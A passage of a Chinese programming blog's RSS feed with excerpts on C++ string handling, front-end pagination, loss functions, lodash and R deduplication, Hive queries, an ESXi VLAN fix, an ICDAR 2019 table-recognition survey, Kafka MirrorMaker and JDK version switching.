      <description>这是915编程学习笔记，仅供自己复习使用，如果你有别的实现方式，欢迎留言。本人是菜鸡一枚，不喜轻喷。考研加油！&#xA;持续更新中…【完结，不再更新2019/12/5】&#xA;因为比较久没有写C++了，忘得差不多，所以写了点笔记回顾一下&#xA;1.向函数传入结构体数组的方式有两种：&#xA;利用struct info book[]&#xA;利用typedef给结构体再取一个名字book1，之后在用book1去定义数组&#xA;2.数组传值的时候直接写函数名即可&#xA;3.比较大小后作交换的是结构体整体book[i]&#xA;4.字符匹配 strcmp(bookname, book[i].name)==0 时表示匹配成功&#xA;注意应该i#nclude&amp;lt;string.h&amp;gt;&#xA;5.回车结束字符输入&#xA;法一、&#xA;char str[100];&#xA;cin.getline(str,99); //添加库函数#include &amp;lt;string.h&amp;gt;&#xA;法二、&#xA;char str[100];&#xA;gets(str); //添加库函数 #include &amp;lt;cstdio&amp;gt;&#xA;6.判断字符长度&#xA;int len=strlen(str); //调用库函数#include &amp;lt;string.h&amp;gt;&#xA;7.int k=ch[i]-&#39;0&#39;; //强制类型char型字符转换成int类型，并赋值给整型变量k&#xA;8.str[i]-&#39;A&#39; //str[i]是char型数组，转换成数组下标，用来统计大写字母的个数&#xA;9.(char)(max+&#39;A&#39;) //max为出现字母次数最大的下标，加上’A’后转换成ASSIC码，再强制转换成char型字符，用来输出出现次数最多的字符是什么&#xA;下面才是正文！&#xA;1.标题判断回文串，以回车结束 #include &amp;lt;iostream&amp;gt; #include &amp;lt;string.h&amp;gt; #include&amp;lt;cstdio&amp;gt; //c方式调用的头文件 using namespace std; int main() { char str[100]; //cin.getline(str,99); //c++输入方式 gets(str); int len=strlen(str); for(int i=0;i&amp;lt;len/2;i++) { if(str[i]!=str[len-i-1]) { cout&amp;lt;&amp;lt;&#34;F&#34;&amp;lt;&amp;lt;endl; return 0; } } cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>【知识点回顾】前端分页实现思路</title>
      <link>https://bchobby.github.io/posts/f0d8786ba809d6a5f88db4808911b4c6/</link>
      <pubDate>Sun, 01 Dec 2019 12:54:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0d8786ba809d6a5f88db4808911b4c6/</guid>
      <description>1.多条件查询，得到符合条件的数组result，以及关键参数：数组长度&#xA;2.设定分页参数：每页显示条目数&#xA;3.计算分页关键参数：&#xA;总页数（数组长度 / 每页显示条数）&#xA;当前页（默认为第0页）&#xA;4.获取符合条件的数组中当前页数据&#xA;result.slice（当前页 * 每页显示条目数，（当前页+1） * 每页显示条目数）</description>
    </item>
    <item>
      <title>smooth l1(huber)&#43;binary cross entropy详解（tensorflow&#43;pytorch）</title>
      <link>https://bchobby.github.io/posts/5bc70cca70700426c630316ddc1ba7f6/</link>
      <pubDate>Sun, 01 Dec 2019 10:26:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bc70cca70700426c630316ddc1ba7f6/</guid>
      <description>前言 上篇讲到yolo v2 loss中使用了两个loss分别时wh使用的smoothl1 loss以及其他的BCEloss，这里做个扩展介绍，并对比pytorch以及tensorflow的api接口的使用&#xA;smooth l1(huber loss) 转载自知乎高赞回答：https://www.jianshu.com/p/19483787fa24&#xA;smooth L1 loss能从两个方面限制梯度：&#xA;当预测框与 ground truth 差别过大时，梯度值不至于过大；当预测框与 ground truth 差别很小时，梯度值足够小。 考察如下几种损失函数，其中&#xA;损失函数对 x 的导数分别为：&#xA;观察 (4)，当 x 增大时 L2 损失对 x 的导数也增大。这就导致训练初期，预测值与 groud truth 差异过于大时，损失函数对预测值的梯度十分大，训练不稳定。&#xA;根据方程 (5)，L1 对 x 的导数为常数。这就导致训练后期，预测值与 ground truth 差异很小时， L1 损失对预测值的导数的绝对值仍然为 1，而 learning rate 如果不变，损失函数将在稳定值附近波动，难以继续收敛以达到更高精度。&#xA;最后观察 (6)，smooth L1 在 x 较小时，对 x 的梯度也会变小，而在 x 很大时，对 x 的梯度的绝对值达到上限 1，也不会太大以至于破坏网络参数。 smooth L1 完美地避开了 L1 和 L2 损失的缺陷。其函数图像如下：&#xA;由图中可以看出，它在远离坐标原点处，图像和 L1 loss 很接近，而在坐标原点附近，转折十分平滑，不像 L1 loss 有个尖角，因此叫做 smooth L1 loss。</description>
    </item>
    <item>
      <title>lodash学习笔记—— 数组去重</title>
      <link>https://bchobby.github.io/posts/af288c3ffea31dcd860b2bf80038c25d/</link>
      <pubDate>Sat, 30 Nov 2019 22:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af288c3ffea31dcd860b2bf80038c25d/</guid>
      <description>数组去重除了使用js自带的set方法，还可以用lodash的uniq方法：&#xA;eg:&#xA;const num = [1, 2, 3, 4, 4, 3]; const differNum = [...new Set(num)]; console.log(differNum); // [1, 2, 3, 4]; 但当数组为数组对象时，set方法便不能进行去重，&#xA;eg:&#xA;const list = [{ processDesc: &#39;走动&#39;, processNum: &#39;1&#39;, }, { processDesc: &#39;顺序&#39;, processNum: &#39;2&#39;, }, { processDesc: &#39;顺序&#39;, processNum: &#39;2&#39;, }]; const newList = [...new Set(list)]; console.log(newList); 因此，这里推荐lodash的uniqWith方法；&#xA;安装：&#xA;npm install --save lodash _.uniq(array) 创建一个去重后的array数组副本。使用了 SameValueZero 做等值比较。只有第一次出现的元素才会被保留。&#xA;参数&#xA;array (Array): 要检查的数组。 返回&#xA;(Array): 返回新的去重后的数组。&#xA;eg:</description>
    </item>
    <item>
      <title>R语言中 在有重复的数据中只保留时间最大的一条数据</title>
      <link>https://bchobby.github.io/posts/c7274748646598a229f7b496cb38c50a/</link>
      <pubDate>Sat, 30 Nov 2019 19:15:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7274748646598a229f7b496cb38c50a/</guid>
      <description>在有重复的数据中只保留时间最大的一条数据 1. 选出目标字段有重复的数据2. 在重复的数据行中选出时间最大的数据完整代码 1. 选出目标字段有重复的数据 这里介绍两种方法：&#xA;通过dplyr包，根据目标字段（key_name）聚合再计数选出条数大于1的数据行 # 只选出有重复的目标字段 duplicate_name = df %&amp;gt;% group_by(key_name) %&amp;gt;% summarise(freq = n()) %&amp;gt;% filter(freq &amp;gt; 1) %&amp;gt;% select(key_name) 通过sqldf包，写sql语句使用having选出计数大于1 duplicate_name = sqldf(&#34;select key_name , count(key_name ) count from df group by key_name having count &amp;gt; 1&#34;)$key_name 数据量大的适合推荐使用第二种，速度快很多，且占用少量资源&#xA;根据重复名称选出数据&#xA;duplicate_data = df[df$key_name %in% duplicate_name$key_name, ] 2. 在重复的数据行中选出时间最大的数据 clear_duplicate_info = duplicate_data %&amp;gt;% group_by(key_name) %&amp;gt;% filter(date == max(date)) 完整代码 应用场景：企业的存续注销都存在的情况，只选出存续的id以及相关数据；根据数据的业务情况，这里采用只保留成立时间最近（即最大）的一条数据&#xA;company_better_distinct = function(df){ # 数据量大的话，groupby效率太低且占资源，用sqldf速度快很多 # duplicate_name = df %&amp;gt;% group_by(company_name) %&amp;gt;% summarise(freq=n()) %&amp;gt;% filter(freq&amp;gt;1) %&amp;gt;% select(company_name) duplicate_name = sqldf(&#34;</description>
    </item>
    <item>
      <title>dlib.get_frontal_face_detector()人脸检测</title>
      <link>https://bchobby.github.io/posts/47651872fe0151591b34655ae08bb544/</link>
      <pubDate>Sat, 30 Nov 2019 18:28:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47651872fe0151591b34655ae08bb544/</guid>
      <description>detector = dlib.get_frontal_face_detector()&#xA;#功能：人脸检测画框&#xA;#参数：无&#xA;#返回值：默认的人脸检测器&#xA;faces = detector(img_gray, 0)&#xA;功能：对图像画人脸框&#xA;参数：img_gray：输入的图片&#xA;返回值：人脸检测矩形框4点坐标</description>
    </item>
    <item>
      <title>hivesql之lateral view explode遇到记录为空情况</title>
      <link>https://bchobby.github.io/posts/ddd5843443f1be9b9afdaa98c05a20a2/</link>
      <pubDate>Fri, 29 Nov 2019 16:28:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddd5843443f1be9b9afdaa98c05a20a2/</guid>
      <description>在正常解析一个有值的字符串时，用lateral view explode是完全ok的，但是，当遇到该字符串为空时，如果在使用该函数，就会导致该条记录消失。这时候需要加个outer lateral view outer explode&#xA;转载自https://blog.csdn.net/jarry_cm/article/details/90402833&#xA;之前小白有写过一篇文章是高效的解析字符串，里面讲到过一个方法：lateral view explode&#xA;最近小白发现，这个函数在使用时，还是有一些坑的，这里小白做一个总结。&#xA;在正常解析一个有值的字符串时，用lateral view explode是完全ok的，但是，当遇到该字符串为空时，如果在使用该函数，就会导致该条记录消失。具体场景如下：&#xA;sidfilterlist46NULL 这时，用lateral view explode解析：&#xA;select a.sid ,b.filtertype --筛选类型 ,b.filtername --筛选内容 ,b.filtertitle --筛选子类型 ,b.filtersubtype --来源：1搜索；2筛选；3url传参 ,b.filterid --筛选id from (select sid,filterlist from dw_htlbizdb.tmp_hotel_list_bottom01 lateral view explode(split(filterlist,&#39;\\;&#39;))t as flist )a lateral view json_tuple(flist,&#39;filtername&#39;) b as filtername where sid = 49 ; 结果如下：&#xA;sidfiltername无记录 这样的结果就会导致我们漏掉一部分用户的浏览信息，在统计浏览量时数据缺失，结果与实际偏小。&#xA;这时，就要用到lateral view outer explode&#xA;lateral view explode这个UDTF转换的Array为空的记录，自动被过滤掉了，&#xA;如果想要保留记录，需要加上outer关键字。 select a.sid ,b.filtertype --筛选类型 ,b.filtername --筛选内容 ,b.</description>
    </item>
    <item>
      <title>Esxi虚拟机无法上网的问题解决记录</title>
      <link>https://bchobby.github.io/posts/41e5554008b585f72f2c2748c6f644e7/</link>
      <pubDate>Fri, 29 Nov 2019 09:36:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41e5554008b585f72f2c2748c6f644e7/</guid>
      <description>Esxi虚拟机无法上网的问题解决记录 问题介绍解决方法有待学习研究的部分 问题介绍 最近使用vmware的Esxi 搭建一个虚拟平台，然后在这个平台上创建各种虚拟机，我最先创建的是Centos 7.6的虚拟机，选择的默认的“VM Network”端口组，创建整个虚拟机的过程比较顺利，但是当我设置好静态IP的时候问题出现了，死活上不去网.大概情况如下：&#xA;可以看到虚拟机的除了上不了网之外，网络状态都是显示正常的。&#xA;之后就是各种改参数改状态，以开始以为是Centos配置的问题，后来用win10虚拟机尝试都是同样的问题。可以确定不是虚拟机系统的问题，问题出现在网络配置上。&#xA;在网上也找了各种解决方法,什么改虚拟机的物理mac地址，配置混合模式，都试过了，但是没有效果。&#xA;纠结了好久，最后发现我一直忘记了看下官方文档，所以最后去官网查了下文档，终于找到了解决方法。&#xA;解决方法 找到了 vSphere 网络连接下面的“VLAN 配置” 找到一些说明，如下图&#xA;https://docs.vmware.com/cn/VMware-vSphere/6.7/com.vmware.vsphere.networking.doc/GUID-7225A28C-DAAB-4E90-AE8C-795A755FBE27.html&#xA;可以看到三种模式，对应不同的ID值，其中0是在VMkernel模式的网卡中配置使用，这个排除。然后在虚拟端口组中配置过1~4094中的几个数值，但是没效果，于是最后试了下4095（如下图）,没想到最后中遇通了，完美解决。&#xA;有待学习研究的部分 通过这次的学习研究，我发现了以下几个我需要注意的问题。&#xA;1. 在研究许多软件问题的时候，还是要多回归到官方文档。当问题没法一下解决的时候，一定要看官方文档。&#xA;2. 自己在网络方面的知识还是有很大却是需要多学习。&#xA;最后附几个链接供学习参考：&#xA;https://docs.vmware.com/cn/VMware-vSphere/6.7/com.vmware.vsphere.networking.doc/GUID-7225A28C-DAAB-4E90-AE8C-795A755FBE27.html&#xA;https://baike.baidu.com/item/%E8%99%9A%E6%8B%9F%E5%B1%80%E5%9F%9F%E7%BD%91/419962?fromtitle=VLAN&amp;amp;fromid=320429&amp;amp;fr=aladdin</description>
    </item>
    <item>
      <title>ICDAR 2019表格识别论文与竞赛综述（上）</title>
      <link>https://bchobby.github.io/posts/1c20a670d09abe3eab0cd87f15335adf/</link>
      <pubDate>Thu, 28 Nov 2019 21:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c20a670d09abe3eab0cd87f15335adf/</guid>
      <description>ICDAR 2019表格识别论文与竞赛综述（上）&#xA;表格作为一种有效的数据组织与展现方法被广泛应用，也成为各类文档中常见的页面对象。随着文档数目的爆炸性增长，如何高效地从文档中找到表格并获取内容与结构信息即表格识别，成为了一个亟待解决的问题。ICDAR是一个专注于文档分析与识别问题的国际学术会议，已经连续多届设置了表格识别专题。在今年的ICDAR 2019会议上，有不少研究者在表格检测与结构识别等领域做出了新的贡献，使其有了新的进展。本课题组梳理了该会议中有关表格识别的16篇论文，总结该领域当前的研究进展与挑战。同时，值得注意的是，该会议也举办了关于表格检测与结构识别的比赛，我们对参赛队伍使用的方法与结果进行了一些讨论。&#xA;一、研究背景 随着文档尤其是通过扫描、拍照等方式生成的文档的快速增长，自动地进行文档识别（Document Recognition）并从中提取有用的数据成为了一个备受关注的研究问题。这其中，表格作为一种高效的数据组织和展现的方式，是文档页面中最重要的数据对象之一。表格识别包括表格检测与结构识别，作为文档识别一个重要的子任务，一直是该领域研究者关注的研究问题。&#xA;图1 表格检测与结构识别示例&#xA;文档页面往往由不同的页面对象（Page Object）组成，包括文本行、图像、表格、公式等。表格检测（Table Detection）任务是从一个页面中检测出表格所在的区域，表格结构识别（Table Structure Recognition）任务则是在检测到的表格区域的基础上，进一步将表格的内容与逻辑结构识别出来。如图1所示，若输入为页面图像，表格检测任务就是在页面图像中定位出表格的位置，这与计算机视觉中的目标检测任务类似；而表格结构识别任务则是对检测出的表格区域进行分析，得到表格的行列、层次等逻辑结构。由于表格大小、种类与样式复杂多样，例如表格中存在不同的背景填充，不同的行列合并方法，不同的内容文本类型等，并且现有文档既包括现代的、电子的文档，也有历史的、扫描的手写文档，它们的文档样式、所处光照环境以及纹理等都有比较大的差异，正如图2中表格示例所展示的那样，表格识别一直是文档识别领域的研究难点。&#xA;早期的表格识别研究主要是基于启发式规则的方法[16-20]，既有基于图像文档的方法，也有基于PDF文档的方法。例如由Kieninger等人提出的T-Rect[16]系统使用自底向上的方法对文档图像进行连通分支分析，然后按照定义的规则进行合并，得到逻辑文本块。而之后由Yildiz等人提出的pdf2table[18]则是第一个在PDF文档上进行表格识别的方法，它利用了PDF文件的一些特有信息（例如文字、绘制路径等图像文档中难以获取的信息）来协助表格识别。而在最近的工作中，Koci等人[22]将页面中的布局区域表示为图（Graph）的形式，然后使用了Remove and Conquer(RAC)算法从中将表格作为一个子图识别出来。&#xA;近年来飞速发展的深度学习技术在计算机视觉、自然语言处理、语音处理等领域取得了很多可观的成果。研究者们也将深度学习技术应用到了场景文字识别、文档分析、表格识别等领域，取得了不错的效果。由于表格检测任务与计算机视觉中的目标检测任务比较类似，这个任务优先得到了很多性能上的提升，在ICDAR2013表格竞赛[23]和ICDAR2017页面对象识别竞赛[24]里，各个队伍的方法与结果已经显示出了表格识别方法的转变与相应的性能提升。而表格结构识别任务则与其他领域的任务有着不小的区别，所以之前还没出现特别有效的深度学习方法。另一方面，由于深度学习方法是数据驱动的方法，需要大量的标注数据对模型进行训练，所以现有的数据集规模偏小也是一个重要的制约因素。&#xA;图2 表格检测与结构识别示例&#xA;左上：有颜色背景的全线表，右上：少线表，左中：无线表，左下：有复杂表格线条样式的表格，右下：拍照得到的手写历史文档。&#xA;在表格识别领域，国际上最相关的会议之一就是文档分析与识别会议ICDAR（International Conference on Document Analysis and Recognition），它是由国际模式识别学会（IAPR）组织的会议之一，每两年举办一次，是文档识别领域最重要的学术会议。今年，ICDAR2019于9月20日-25日在澳大利亚悉尼举办，多篇有关表格识别的论文也在会议上作了口头或者海报报告。这些论文有的针对表格的特性解决了以往研究的一些问题，有的提出一些新的目标检测方法应用到表格识别领域并取得了不错的效果，有的则是发布了包含大量表格的数据集，为该领域提供数据支持。同时，ICDAR2019也举办了一个针对表格识别任务的比赛：ICDAR2019 表格检测与识别比赛（ICDAR2019 Competition on Table Detection and Recognition, cTDaR），来自工业界和学术界的十余支队伍在这个比赛中提交了有效结果。&#xA;我们针对ICDAR2019会议中有关表格识别，即表格检测与结构识别的论文和竞赛做一个综述，主要包括以下内容：&#xA;对ICDAR2019中关于表格识别的论文的一个整体探讨。内容包括这些论文的主要方法，方法的有效性与新颖性，实验情况等，并对这些论文做一个整体的对比分析，以期让读者对当前该领域的研究进展有一个整体认识。&#xA;对ICDAR2019表格检测与识别比赛的情况概述。参赛队伍提交方法的讨论与比赛结果的分析。参赛队伍中既有来自于工业界的同行，也有来自于学术界的学者，我们可以从中看到整个领域的方法趋势和性能进展状况。&#xA;对于表格识别领域目前仍然存在的问题和未来研究方向的探讨。表格本身的特性导致某些识别问题和挑战是非常难以解决的，我们对这些问题加以分析，并尝试针对这些问题给出一些未来可能的研究方向。&#xA;二、论文方法&#xA;在今年的ICDAR2019会议中，共有16篇与表格识别相关的论文，其中有5篇针对表格检测任务，有8篇针对表格结构识别任务，有1篇在他们的方法里同时进行了表格检测与结构识别的任务，还有2篇则是发布了新的表格识别相关的数据集。在接下来3个子章节中，我们分别介绍表格检测、表格结构识别和表格数据集三部分的论文情况，以探讨目前该领域的最新研究进展。在此之前，这些论文的整体情况概述展示在了表1中。&#xA;表1 ICDAR2019表格识别领域论文整体情况&#xA;注：“论文名称”一列中，论文名称前标有*号的论文表示其未使用基于深度学习的方法。每一种方法的“效果”一列中展示的均为论文中的最好效果。&#xA;a) 表格检测任务&#xA;随着深度学习方法的迅速发展，越来越多研究者倾向于使用深度学习的方法来进行表格检测任务。对于文档页面图像中的表格检测任务来说，研究者通常将其视为目标检测（Object Detection）或者图像语义分割（Semantic Segmentation）任务，而近些年来，随着图神经网络（Graph Neural Network）的兴起，也有一些研究者尝试将图神经网络应用到文档识别或表格识别领域中来。本次ICDAR2019会议中，共有5篇论文尝试解决表格检测中的一些已知问题，除了其中1篇使用了基于规则的传统方法，其余4篇均使用了深度学习方法，并且其中一篇创新性地将图神经网络应用到发票中的表格检测中来。&#xA;图3 论文[1]中提出的open table和closed table的检测框架&#xA;《Parameter-free Table Detection Method》[1]一文使用了传统的规则方法，将多高斯分析应用到了表格检测任务中来，使得无参数无训练集的表格检测成为可能，从而规避了该领域缺少用于训练的大量数据的问题。作者将表格检测任务分为了Open Table和Closed Table两个类别来处理。整体框架如图3所示。对于Closed Table，作者先删除表格中的所有行和列的线，之后使用距离方法确定每个单元格的边界，然后对单元格的边界进行水平和竖直方向的投影来获得行和列的分割间隙，最后使用HPP（Horizontal Projection Profile）来确认表格检测结果。对于Open Table，由于缺少表框和水平与竖直线，文本单元格的内容可能会被误识别为常规的段落文本，因此作者通过将多高斯分布模型扩展到文本块的高度和宽度直方图来解决该问题。宽度直方图显示了两种类型文本块对应的两种不同的区域。高低直方图原点附近的峰表明，有一些高度较小的块可能对应于表格的单元格文本。最终作者使用GMM-EM方法来拟合平滑的数据，用加权高斯方法将数据分为三组，分别是小、中和大尺寸的表格。经过处理，对文档中的表格和段落分类为表格块和文本块。将相邻的表格块进行合并，将没有左邻居或右邻居的块，作为表格结束单元格，以得到表格区域。本方法在ICDAR2013数据集上进行了测试，取得了Open Table F1-score=91.3%，Closed Table F1-score=92.</description>
    </item>
    <item>
      <title>个人NAS家庭服务器解决方案概况</title>
      <link>https://bchobby.github.io/posts/210f84dc50e7d02a914d81ec7bfaae26/</link>
      <pubDate>Thu, 28 Nov 2019 11:55:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/210f84dc50e7d02a914d81ec7bfaae26/</guid>
      <description>NAS家庭服务器方案 一、硬件选择方案： 1、自组硬件方案（推荐）&#xA;①、cpu选择：J1900/J3160/N3150等低功耗cpu&#xA;2、群晖NAS方案（价格贵）&#xA;3、矿难便宜NAS方案（价格低，稳定性差）&#xA;①、蜗牛星际&#xA;二、系统方案： 1、Windows Server 2012（推荐）或者Windows10方案&#xA;2、群晖NAS方案&#xA;3、Linux系统方案&#xA;三、内容方案： 1、下载方案&#xA;①、bt下载：QTDownload&#xA;②、迅雷下载：迅雷官方软件或者迅雷的玩客云&#xA;③、百度云下载&#xA;2、存储方案&#xA;①、手机相片视频同步方案：Daemon sync、photo sync&#xA;3、家庭影院方案&#xA;①、Jellyfin server + 安卓客户端、安卓盒子客户端（或者Kodi+jellyfin插件）&#xA;②、Emby server + 安卓客户端、苹果客户端（收费）、安卓盒子Kodi+emby插件方案&#xA;③、威动影音server（旧版本才免费） + 威动影音安卓客户端、安卓盒子Kodi方案&#xA;④、Plex server + plex客户端&#xA;4、游戏方案（暂时没接触）&#xA;5、软路由方案&#xA;①、虚拟机LEDE/高格等</description>
    </item>
    <item>
      <title>Maven</title>
      <link>https://bchobby.github.io/posts/9115c10980645c41313f244ac1a377f7/</link>
      <pubDate>Wed, 27 Nov 2019 19:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9115c10980645c41313f244ac1a377f7/</guid>
      <description>Maven项目对象模型(POM)，可以通过一小段描述信息来管理项目的构建，报告和文档的项目管理工具软件。&#xA;Maven 除了以程序构建能力为特色之外，还提供高级项目管理工具。由于 Maven 的缺省构建规则有较高的可重用性，所以常常用两三行 Maven 构建脚本就可以构建简单的项目。由于 Maven 的面向项目的方法，许多 Apache Jakarta 项目发文时使用 Maven，而且公司项目采用 Maven 的比例在持续增长。&#xA;Maven这个单词来自于意第绪语（犹太语），意为知识的积累，最初在Jakata Turbine项目中用来简化构建过程。当时有一些项目（有各自Ant build文件），仅有细微的差别，而JAR文件都由CVS来维护。于是希望有一种标准化的方式构建项目，一个清晰的方式定义项目的组成，一个容易的方式发布项目的信息，以及一种简单的方式在多个项目中共享JARs。 [&#xA;https://baike.baidu.com/item/Maven/6094909?fr=aladdin</description>
    </item>
    <item>
      <title>使用3.x版本create-react-app构建react并使用less和antd按需加载并修改主题颜色小总结</title>
      <link>https://bchobby.github.io/posts/4b2134635abd554763bb06fcbe3ea77f/</link>
      <pubDate>Wed, 27 Nov 2019 15:46:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b2134635abd554763bb06fcbe3ea77f/</guid>
      <description> 1.全局安装:&#xA;npm install create-react-app -g&#xA;2.进入项目：&#xA;弹射暴露webpack配置：npm run eject;安装less，less-loader;&#xA;npm install less less-loader --save-dev安装antd，babel-plugin-import;&#xA;npm install antd -S npm install babel-plugin-import -D&#xA;3.修改webpack.config.js文件中的配置：追加方框处代码 追加less配置&#xA;找到getStyleLoaders方法，追加代码：&#xA;最后一步，如何修改配置antd主题颜色，修改方框处代码为：&#xA;好了，大功告成 </description>
    </item>
    <item>
      <title>实战Kafka之异地双活--MirrorMaker1.0</title>
      <link>https://bchobby.github.io/posts/cfac57d91e1f2c133f5fbab35aab392b/</link>
      <pubDate>Wed, 27 Nov 2019 11:53:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfac57d91e1f2c133f5fbab35aab392b/</guid>
      <description>前言 异地灾备可以防止一个机房出现灾难而导致整个系统无法提供服务的问题。&#xA;异地双活在异地灾备的基础上减少了数据的冗余，并且提高了对数据双向同步及同步实时性的要求。&#xA;Kafka作为在双活中扮演了很重要的角色，一方面是两个区域的正常业务的消息数据分发、另一方面则是elasticsearch等中间件集群的双活方案有时需要依赖kafka的双活。那么在保证实时性的前提下做好kafka的双活呢？下面博主抛砖引玉给出自己实现的基于Kafka自带组件Mirror-Maker的两种方案，读者可以根据自己需要进行改进。&#xA;一、Kafka-Mirror-Maker MirrorMaker是Kafka官方提供的用来做跨机房同步的组件。在kafka的安装目录的bin目录下有一个kafka-mirror-maker.sh文件就是MirrorMaker的入口。&#xA;image.png 工作原理： 1、MirrorMaker本质上既是一个生产者又是一个消费者&#xA;2、MirrorMaker从一个机房的某个主题消费消息，再把消费到的消息生产到另一个机房的相同的主题下。&#xA;如何使用： bin/kafka-mirror-maker.sh --consumer.config consumer.properties --producer.config producer.properties --num.streams 3 --whitelist=&#34;.*&#34; 参数解释：&#xA;--producer.config：mirrormaker中的生产者，与我们常规的生产者配置是一样的，我们可以参照生产者配置文档进行参数配置&#xA;--consumer.config：mirrormaker中的消费者，与我们常规的消费者配置相同，可以参照消费者配置文档进行参数配置&#xA;--num.streams：mirrormaker中消费者线程的个数&#xA;--whitelist：mirrormaker中消费者指定消费的主题，.*表示所有主题，常规可以使用 | 分割开多个主题。&#xA;当然还有很多其他参数，我们可以执行bin/kafka-mirror-maker.sh --help来查看&#xA;疑问解答： 1、mirrormaker应该从哪个机房消费，向哪个机房生产。&#xA;答：应该从异地机房消费向本地机房生产。如果反过来，当网络异常的时候就会产生消费的消息没有及时得到转发。&#xA;2、mirrormaker怎么配置生产者和消费者？&#xA;答：参照这个链接里的配置 就可以了 https://www.orchome.com/511&#xA;方案一、各机房自主题 实现原理 1、假设有北方机房和南方机房需要实现双活&#xA;2、南方机房的kafka包含江苏、广东、上海三个topic。北方机房包含黑龙江、甘肃、四川三个topic。每个机房的消费者只向自己机房的topic生产消息和消费消息。&#xA;3、启动两个Mirror-Maker分别负责从北向南同步数据和从南向北同步数据，保证两遍的机房都有六个省份的全量数据。&#xA;4、考虑异常情况，如果北方机房挂了或者南方机房挂了，那么另一个机房都会有全量数据可以提供服务。当然不排除小部分数据丢失，但灾难情况下是无法避免的。&#xA;存在问题及解决办法&#xA;存在问题： 1、__consumer_offset主题无法双向同步，会造成消费死循环。这就导致切换机房的时候备用消费者只能从头消费来保证消息的不丢失，消息会大量重复。&#xA;2、即便是灾备集群也存在同样的问题，如果把consumer_offset同步到灾备集群，如果主集群的topic的partition和灾备集群的topic的partition的数目不一致，就会导致切换机房的时候备用消费者无法复用offset的情况发生，最终导致消息大量重复消费或者消息丢失。&#xA;对于问题1的解决办法&#xA;1、参照方案二，做数据的全量同步&#xA;对于问题2的解决办法：&#xA;解决办法1、根据消息时间戳来找到消费者组对应的offset，然后从offset开始消费，同时业务端需要做幂等处理。下面给出关键代码（对应的kafka版本的消息要有时间戳才行）。&#xA;// 获取所有分区 List&amp;lt;PartitionInfo&amp;gt; partitionInfos = consumer.partitionsFor(topic); // 把分区映射成TopicPartition List&amp;lt;TopicPartition&amp;gt; topicPartitionList = partitionInfos .stream() .map(info -&amp;gt; new TopicPartition(topic, info.partition())) .collect(Collectors.toList()); // 给consumer分配这些分区 consumer.</description>
    </item>
    <item>
      <title>Hive brickhouse多列合并生成Json  collect_set JsonUDF</title>
      <link>https://bchobby.github.io/posts/0ee3e798e617673137329f380568586a/</link>
      <pubDate>Wed, 27 Nov 2019 11:33:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ee3e798e617673137329f380568586a/</guid>
      <description>在做数据聚合整理的时候,存在需要将同一ID的多列,合并成一个json,通过collcet_Set手动拼接json,手动效率不高,而且内置的UDF有连接符,最后生成的json格式怎么调试都不对,本想自己写UDF生成json,google后找到存在的UDF函数,先做以下记录:&#xA;google原帖参考:&#xA;https://stackoverflow.com/questions/25188734/converting-data-from-multiple-hive-tables-to-complex-json&#xA;https://stackoverflow.com/questions/24826530/collect-to-a-map-in-hive&#xA;附上github地址:&#xA;https://github.com/klout/brickhouse&#xA;该项目已经三年没更新,自己手动编译为通过,可能是原项目JDK版本太老了,好在有现成jar包&#xA;复制jar包到服务器&#xA;--导入udf ADD jar /opt/UDF/brickhouse-0.7.1-SNAPSHOT.jar; --创建临时UDF包collect CREATE TEMPORARY FUNCTION collect AS &#39;brickhouse.udf.collect.CollectUDAF&#39;; --创建临时UDF包to_json CREATE TEMPORARY FUNCTION to_json AS &#39;brickhouse.udf.json.ToJsonUDF&#39;; 这里解释下:&#xA;to_json可以将to_json(collect_set(字段名1)),将单列字段名1生成JSON串,生成的结果不带KEY值,格式为[{“value1”,“value2”…}]&#xA;这里在解释下collect_set collect_list的区别,collect_set 去重,collect_list不去重&#xA;collect可以将多列字段名,通过json的key-value方式结合,并且可以通过嵌套sort_array进行排序,其中得通过内置named_struct的UDF,组合为KEY-VALUE的格式,&#xA;to_json(sort_array(collect_set(named_struct(“key1”,字段名1,“key2”,字段名2… ))))&#xA;最后生成的json串带排序,且为key-value的格式&#xA;附 named_struct函数的官方解释&#xA;https://cwiki.apache.org/confluence/display/Hive/LanguageManual+UDF</description>
    </item>
    <item>
      <title>Linux Java JDK多版本管理自定义工具</title>
      <link>https://bchobby.github.io/posts/2cb2666dad196e855c902af9479bbdf1/</link>
      <pubDate>Wed, 27 Nov 2019 01:01:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cb2666dad196e855c902af9479bbdf1/</guid>
      <description>Linux Java JDK多版本管理自定义工具 为什么有其他工具还要自定义？我的工具基本原理运行工具前的步骤上代码运行效果 为什么有其他工具还要自定义？ 之前用过update-alternatives 这个命令管理 但是如果JDK版本更新了，文件夹一变，你就要重新改注册，你要各种拷贝目录…&#xA;我的工具基本原理 通过软连接的方式在环境变量中配置一个固定的路径，这样每次要切换JDK版本时，只要改变下这个软连接路径即可，其他不要动。&#xA;即使增加新版本，只要将JDK放到/usr/lib/jvm/目录下即可通过运行工具选择切换。&#xA;运行工具前的步骤 按照正常情况，JDK默认安装的位置是/usr/lib/jvm/，所以我也就按照这个默认的位置来，把JDK的文件夹（如：jdk1.8.0_231）不管是安装还是拷贝的方式都放到这个目录下。&#xA;然后，如果是第一次使用，还是要正常配置环境变量的，不过要按照如下规则配置，其中这个路径不能变（/usr/lib/jvm/java_home）&#xA;#set oracle jdk environment export JAVA_HOME=/usr/lib/jvm/java_home ## Don&#39;t change this directory!!! export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH 最后运行下命令source /etc/profile激活你设置的环境变量。&#xA;接着就可以运行工具了。&#xA;上代码 